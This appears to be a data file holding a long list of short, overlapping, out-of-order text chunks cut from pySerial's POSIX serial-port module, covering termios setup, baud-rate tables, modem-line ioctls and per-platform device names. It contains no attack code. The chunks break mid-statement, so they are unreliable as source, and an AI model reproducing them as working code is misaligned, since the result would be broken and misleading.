FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except: try:\",\n \"# buffer # vmin \\\"minimal number of characters to be read. = for\",\n \"# setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD)\",\n \"None and self._interCharTimeout > 0)) and not buf: break # early abort on\",\n \"on flow control def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle\",\n \"# number of stop bits timeout=3, # set a timeout value, None for\",\n \"USB-serial unplugged)\\\"\\\"\\\" def read(self, size=1): \\\"\\\"\\\"Read size bytes from the serial port. If\",\n \"event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device reports error (poll)') # we don't care if\",\n \"STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX same as TWO.. there is no POSIX\",\n \"|= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): #\",\n \"portnum def set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry don't know how to handle non standard\",\n \"size - len(read)) read.extend(buf) if ((self._timeout is not None and self._timeout >= 0)\",\n \"# vtime if vtime < 0 or vtime > 255: raise ValueError('Invalid vtime:\",\n \"(self._baudrate)) except AttributeError: try: ispeed = ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise\",\n \"to handle non standard baud rate on this platform\\\") baudrate_constants = {} #~\",\n \"getCD(self): \\\"\\\"\\\"Read terminal status line: Carrier Detect\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how to number ttys on this system.\",\n \"not run on this platform, sorry.\\\" # whats up with \\\"aix\\\", \\\"beos\\\", ....\",\n \"'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100\",\n \"is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS\",\n \"'/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry don't know how to handle\",\n \"was used with a timeout, and the timeout occurs, it # returns with\",\n \"break: Controls TXD. When active, no transmitting is possible.\\\"\\\"\\\" if self.fd is None:\",\n \"platform\\\") baudrate_constants = {} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port):\",\n \"&= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif\",\n \"see license.txt # # parts based on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py\",\n \"% port ASYNC_SPD_MASK = 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array\",\n \"TIOCM_CD != 0 # - - platform specific - - - - def\",\n \"port.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError t = len(data) d = data\",\n \"Detect\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return\",\n \"\\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL, os.O_NONBLOCK)\",\n \"timeout buf = os.read(self.fd, size-len(read)) # read should always return some data as\",\n \"def setDTR(self, level=1): \\\"\\\"\\\"Set terminal status line: Data Terminal Ready\\\"\\\"\\\" if self.fd is\",\n \"our list. ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) #\",\n \"handle non standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:4]\",\n \"stopbits=STOPBITS_ONE, # number of stop bits timeout=3, # set a timeout value, None\",\n \"hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup\",\n \"and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ\",\n \"(non-blocking operation) also abort when there # is nothing to read. if not\",\n \"= array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1)\",\n \"'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417\",\n \"iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg:\",\n \"to keep original exception that happened when setting up pass self.fd = None\",\n \"level=1): \\\"\\\"\\\"Set terminal status line: Data Terminal Ready\\\"\\\"\\\" if self.fd is None: raise\",\n \"} elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d' %\",\n \"self._bytesize == 8: cflag |= TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7\",\n \"hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or\",\n \"on this platform\\\") baudrate_constants = {} elif plat == 'openbsd3': # BSD (confirmed)\",\n \"abort read operation. # For timeout == 0 (non-blocking operation) also abort when\",\n \"setting up pass self.fd = None raise else: self._isOpen = True #~ self.flushInput()\",\n \"something fails) for fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise SerialException('device\",\n \"# - - platform specific - - - - def drainOutput(self): \\\"\\\"\\\"internal -\",\n \"struct, select, errno, time from .serialutil import * # Do check the Python\",\n \"TERMIOS.TIOCM_CAR or 0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR =\",\n \"is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI\",\n \"TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \\\"\\\"\\\"Read terminal status\",\n \"port cannot be opened.\\\"\\\"\\\" self.fd = None if self._port is None: raise SerialException(\\\"Port\",\n \"read.extend(buf) return bytes(read) def write(self, data): \\\"\\\"\\\"Output the given string over the serial\",\n \"- - - - - - - - - - - - def\",\n \"may throw a SerialException if the port cannot be opened.\\\"\\\"\\\" self.fd = None\",\n \"ready: raise writeTimeoutError d = d[n:] t = t - n except OSError\",\n \"termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set break: Controls TXD. When active, no transmitting\",\n \"luck you can get this module running... \\\"\\\"\\\" % (sys.platform, os.name, VERSION)) #\",\n \"by Erk def device(port): return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry\",\n \"name as port parameter. def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate):\",\n \"port\\\"\\\"\\\" if self._isOpen: if self.fd is not None: os.close(self.fd) self.fd = None self._isOpen\",\n \"linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS,\",\n \"BSD, Jython # module for serial IO for POSIX compatible systems, like Linux\",\n \"to ! the author of this module: sys.platform = %r os.name = %r\",\n \"used with a timeout, and the timeout occurs, it # returns with empty\",\n \"!= 0 def getCD(self): \\\"\\\"\\\"Read terminal status line: Carrier Detect\\\"\\\"\\\" if self.fd is\",\n \"parity checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3, # set a timeout\",\n \"elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port)\",\n \"def flushOutput(self): \\\"\\\"\\\"Clear output buffer, aborting the current output and discarding all that\",\n \"check the Python version as some constants have moved. if (sys.hexversion < 0x020100f0):\",\n \"if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate try: ispeed =\",\n \"self.fd is None: raise portNotOpenError read = bytearray() while len(read) < size: ready,_,_\",\n \"assemble Serial class with the platform specifc implementation and the base # for\",\n \"like Linux # see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> # this\",\n \"def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know\",\n \"else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \\\"\\\"\\\"Set terminal status line: Data Terminal\",\n \"def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know\",\n \"this code block should supply a device() and set_special_baudrate() function # for the\",\n \"\\\"this module does not run on this platform, sorry.\\\" # whats up with\",\n \"= %s also add the device name of the serial port and where\",\n \"abort when there # is nothing to read. if not ready: break #\",\n \"raise SerialException('device reports readiness to read but returned no data (device disconnected?)') read.extend(buf)\",\n \"9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800:\",\n \"0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR)\",\n \"- - - - - - - - - def inWaiting(self): \\\"\\\"\\\"Return the\",\n \"for being ready # with the time left as timeout timeleft = timeout\",\n \"# Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise\",\n \"baud rate on this platform\\\") baudrate_constants = {} elif plat[:4] == 'irix': #\",\n \"with the platform specifc implementation and the base # for file-like behavior. for\",\n \"done with termios and fcntl. Runs on Linux and many other Un*x like\",\n \"== 'freebsd' or \\\\ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4: cuaa%d)\",\n \"cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate):\",\n \"array.array('i', [baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else:\",\n \"or 0x5415 TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS,\",\n \"rate on this platform\\\") baudrate_constants = {} elif plat == 'openbsd3': # BSD\",\n \"continue with a brave attempt to build a device name # even if\",\n \"0: timeout = time.time() + self._writeTimeout else: timeout = None while t >\",\n \"- - platform specific - - - - def drainOutput(self): \\\"\\\"\\\"internal - not\",\n \"custom_baud) def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if self.fd is not None: os.close(self.fd)\",\n \"module: sys.platform = %r os.name = %r serialposix.py version = %s also add\",\n \"of this module: sys.platform = %r os.name = %r serialposix.py version = %s\",\n \"or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS,\",\n \"! Use an explicit path (eg /dev/ttyS1) or send this information to !\",\n \"#~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except: try: os.close(self.fd) except:\",\n \"baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct\",\n \"4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port): return\",\n \"function # for the platform plat = sys.platform.lower() if plat[:5] == 'linux': #\",\n \"parameter. def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry don't\",\n \"self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid baud rate: %r' % self._baudrate)\",\n \"= 0x1030 ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i',\",\n \"or 0x5418 #TIOCM_LE = hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS,\",\n \"raise ValueError('Failed to set custom baud rate: %r' % baudrate) baudrate_constants = {\",\n \"for 1.5 elif self._stopbits == STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop\",\n \"0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS')\",\n \"being ready # with the time left as timeout timeleft = timeout -\",\n \"- def drainOutput(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"handle non standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:5]\",\n \"- - - def drainOutput(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None:\",\n \"should supply a device() and set_special_baudrate() function # for the platform plat =\",\n \"def nonblocking(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd,\",\n \"update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res\",\n \"(port + 1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle\",\n \"0o000005, 200: 0o000006, 300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013,\",\n \"baudrate_constants = {} elif plat == 'openbsd3': # BSD (confirmed) def device(port): return\",\n \"they should work, just need to know the device names. # load some\",\n \"% msg) # set up raw mode / no echo / binary cflag\",\n \"= hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1\",\n \"'CNEW_RTSCTS'): # try it with alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS)\",\n \"systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port with current settings. This may throw a SerialException\",\n \"standard baud rate on this platform\\\") baudrate_constants = {} elif plat == 'openbsd3':\",\n \"or vtime > 255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime\",\n \"Extension for Win32, Linux, BSD, Jython # module for serial IO for POSIX\",\n \"Exception, \\\"this module does not run on this platform, sorry.\\\" # whats up\",\n \"raise writeTimeoutError _, ready, _ = select.select([], [self.fd], [], timeleft) if not ready:\",\n \"under a free software license, see license.txt # # parts based on code\",\n \"don't care if it is select.POLLIN or timeout, that's # handled below buf\",\n \"lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as msg: # if a\",\n \"buf = os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is not None and\",\n \"= %r serialposix.py version = %s also add the device name of the\",\n \"= os.uname()[2].split('.') # Tiger or above can support arbitrary serial speeds if int(version[0])\",\n \"standard baud rate on this platform\\\") baudrate_constants = {} #~ raise Exception, \\\"this\",\n \"TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \\\"\\\"\\\"Read terminal status line:\",\n \"# setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |=\",\n \"s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of data bits\",\n \"= {} else: # platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how to\",\n \"return '/dev/dty%02d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to\",\n \"TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK\",\n \"of characters to be read. = for non blocking\\\" if vmin < 0\",\n \"~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity == PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise\",\n \"fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based implementation, proved to work on\",\n \"just continue with a brave attempt to build a device name # even\",\n \"= data if self._writeTimeout is not None and self._writeTimeout > 0: timeout =\",\n \"None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is\",\n \"rate on this platform\\\") baudrate_constants = {} elif plat[:4] == 'irix': # IRIX\",\n \"try: import io except ImportError: # classic version with our own file-like emulation\",\n \"= int(self._baudrate) # store for later except ValueError: raise ValueError('Invalid baud rate: %r'\",\n \"portNotOpenError return self.fd def flowControl(self, enable): \\\"\\\"\\\"manually control flow - when hardware or\",\n \"0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006, 921600: 0o010007, 1000000: 0o010010,\",\n \"%s: %s\\\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try:\",\n \"setRTS(self, level=1): \\\"\\\"\\\"Set terminal status line: Request To Send\\\"\\\"\\\" if self.fd is None:\",\n \"flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC\",\n \"supply a device() and set_special_baudrate() function # for the platform plat = sys.platform.lower()\",\n \"vtime < 0 or vtime > 255: raise ValueError('Invalid vtime: %r' % vtime)\",\n \"is None: raise SerialException(\\\"Port must be configured before it can be used.\\\") #\",\n \"== 'openbsd': # BSD (confirmed for freebsd4: cuaa%d) def device(port): return '/dev/cuad%d' %\",\n \"while it's in use (e.g. USB-serial unplugged)\\\"\\\"\\\" def read(self, size=1): \\\"\\\"\\\"Read size bytes\",\n \"rate on this platform\\\") baudrate_constants = {} elif plat[:5] == 'sunos': # Solaris/SunOS\",\n \"self._parity == PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD)\",\n \"plat[:3] == 'aix': # AIX def device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port,\",\n \"self.fd def flowControl(self, enable): \\\"\\\"\\\"manually control flow - when hardware or software flow\",\n \"termios, struct, select, errno, time from .serialutil import * # Do check the\",\n \"= hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI\",\n \"the serial port. If a timeout is set it may return less characters\",\n \"serial port and where the counting starts for the first serial port. e.g.\",\n \"None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD !=\",\n \"this platform\\\") baudrate_constants = {} else: # platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't\",\n \"ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW,\",\n \"enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with\",\n \"platform\\\") baudrate_constants = {} elif plat[:3] == 'bsd' or \\\\ plat[:7] == 'freebsd'\",\n \"communication parameters on opened port.\\\"\\\"\\\" if self.fd is None: raise SerialException(\\\"Can only operate\",\n \"portable!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \\\"\\\"\\\"internal - not\",\n \"up raw mode / no echo / binary cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &=\",\n \"a timeout, and the timeout occurs, it # returns with empty lists ->\",\n \"data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number of stop bits\",\n \"cc]) # apply custom baud rate, if any if custom_baud is not None:\",\n \"'/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle\",\n \"0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \\\"\\\"\\\"Serial port\",\n \"# netbsd workaround for Erk if hasattr(TERMIOS, flag): lflag &= ~getattr(TERMIOS, flag) oflag\",\n \"rtscts if hasattr(TERMIOS, 'CRTSCTS'): if self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS)\",\n \"If a timeout is set it may return less characters as requested. With\",\n \"self._isOpen: if self.fd is not None: os.close(self.fd) self.fd = None self._isOpen = False\",\n \"0 def getRI(self): \\\"\\\"\\\"Read terminal status line: Ring Indicator\\\"\\\"\\\" if self.fd is None:\",\n \"standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:5] == 'sunos':\",\n \"it with alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &=\",\n \"standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:4] == 'irix':\",\n \"cannot be opened.\\\"\\\"\\\" self.fd = None if self._port is None: raise SerialException(\\\"Port must\",\n \"self.drainOutput() def flushInput(self): \\\"\\\"\\\"Clear input buffer, discarding all that is in the buffer.\\\"\\\"\\\"\",\n \"- - def drainOutput(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\" if self.fd is None: raise\",\n \"# set a timeout value, None for waiting forever xonxoff=0, # enable software\",\n \"%r' % self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity == PARITY_NONE:\",\n \"portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def\",\n \"vmin: %r ' % vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime <\",\n \"a brave attempt to build a device name # even if the device\",\n \"size: # print \\\"\\\\tread(): size\\\",size, \\\"have\\\", len(read) #debug # wait until device becomes\",\n \"port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non standard\",\n \"[baudrate]) IOSSIOSPEED = 0x80045402 #_IOW('T', 2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: #\",\n \"'__main__': s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, # number of data\",\n \"cuaa%d) def device(port): return '/dev/cuad%d' % port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't\",\n \"None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1):\",\n \"instance with select. WARNING: this function is not portable to different platforms!\\\"\\\"\\\" if\",\n \"set it may return less characters as requested. With no timeout it will\",\n \"'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000\",\n \"\\\"\\\"\\\"Send break condition. Timed, returns to idle state after given duration.\\\"\\\"\\\" if self.fd\",\n \"# timeout is done via select if self._interCharTimeout is not None: vmin =\",\n \"module does not run on this platform, sorry.\\\" # whats up with \\\"aix\\\",\",\n \"0x020200f0): import FCNTL else: FCNTL = fcntl # try to detect the OS\",\n \"baud rate, it isn't in our list. ispeed = ospeed = getattr(TERMIOS, 'B38400')\",\n \"fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] # select based\",\n \"serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set\",\n \"self.fd is None: raise SerialException(\\\"Can only operate on a valid file descriptor\\\") custom_baud\",\n \"this module running... \\\"\\\"\\\" % (sys.platform, os.name, VERSION)) # no exception, just continue\",\n \"settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]) # apply custom\",\n \"ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate) # store for later except\",\n \"settings. This may throw a SerialException if the port cannot be opened.\\\"\\\"\\\" self.fd\",\n \"failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know how to number ttys on this system. ! Use\",\n \"written.\\\"\\\"\\\" self.drainOutput() def flushInput(self): \\\"\\\"\\\"Clear input buffer, discarding all that is in the\",\n \"vmin = vtime = 0 # timeout is done via select if self._interCharTimeout\",\n \"# store for later except ValueError: raise ValueError('Invalid baud rate: %r' % self._baudrate)\",\n \"if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if hasattr(TERMIOS,\",\n \"many other Un*x like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port with current settings. This\",\n \"elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag |=\",\n \"|= ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError:\",\n \"if __name__ == '__main__': s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS, #\",\n \"base # for file-like behavior. for Python 2.6 and newer, that provide the\",\n \"lflag &= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'):\",\n \"this one has better handling of errors, such as a device disconnecting while\",\n \"#TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and\",\n \"etc) fails?? # buffer # vmin \\\"minimal number of characters to be read.\",\n \"self._timeout) # If select was used with a timeout, and the timeout occurs,\",\n \"throw a SerialException if the port cannot be opened.\\\"\\\"\\\" self.fd = None if\",\n \"SerialException if the port cannot be opened.\\\"\\\"\\\" self.fd = None if self._port is\",\n \"vtime > 255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime #\",\n \"IRIX (partially tested) def device(port): return '/dev/ttyf%d' % (port+1) #XXX different device names\",\n \"baud rate on this platform\\\") baudrate_constants = {} elif plat[:5] == 'sunos': #\",\n \"% (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set blocking try: self._reconfigurePort() except:\",\n \"condition. Timed, returns to idle state after given duration.\\\"\\\"\\\" if self.fd is None:\",\n \"plat[:7] == 'freebsd' or \\\\ plat[:7] == 'openbsd': # BSD (confirmed for freebsd4:\",\n \"and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and TERMIOS.TIOCMSET or 0x5418 #TIOCM_LE\",\n \"= True #~ self.flushInput() def _reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on opened port.\\\"\\\"\\\" if\",\n \"else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF) # rtscts if\",\n \"# # (C) 2001-2010 <NAME> <<EMAIL>> # this is distributed under a free\",\n \"nonexistent but has a /dev file, it'll fail here raise SerialException(\\\"Could not configure\",\n \"raise SerialException(\\\"Can only operate on a valid file descriptor\\\") custom_baud = None vmin\",\n \"to detect the OS so that a device can be selected... # this\",\n \"%r' % self._parity) # setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if\",\n \"line: Clear To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd,\",\n \"= hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS, 'FIONREAD') and TERMIOS.FIONREAD\",\n \"% port def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non\",\n \"alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) #\",\n \"correct for the platform it has chances # to work using a string\",\n \"# classic version with our own file-like emulation class Serial(PosixSerial, FileLike): pass else:\",\n \"read = bytearray() while len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If\",\n \"has better handling of errors, such as a device disconnecting while it's in\",\n \"def device(port): return '/dev/ttyf%d' % (port+1) #XXX different device names depending on flow\",\n \"PARITY_ODD: cflag |= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity) # setup\",\n \"if the port cannot be opened.\\\"\\\"\\\" self.fd = None if self._port is None:\",\n \"array.array('i', [0] * 32) # get serial_struct FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom\",\n 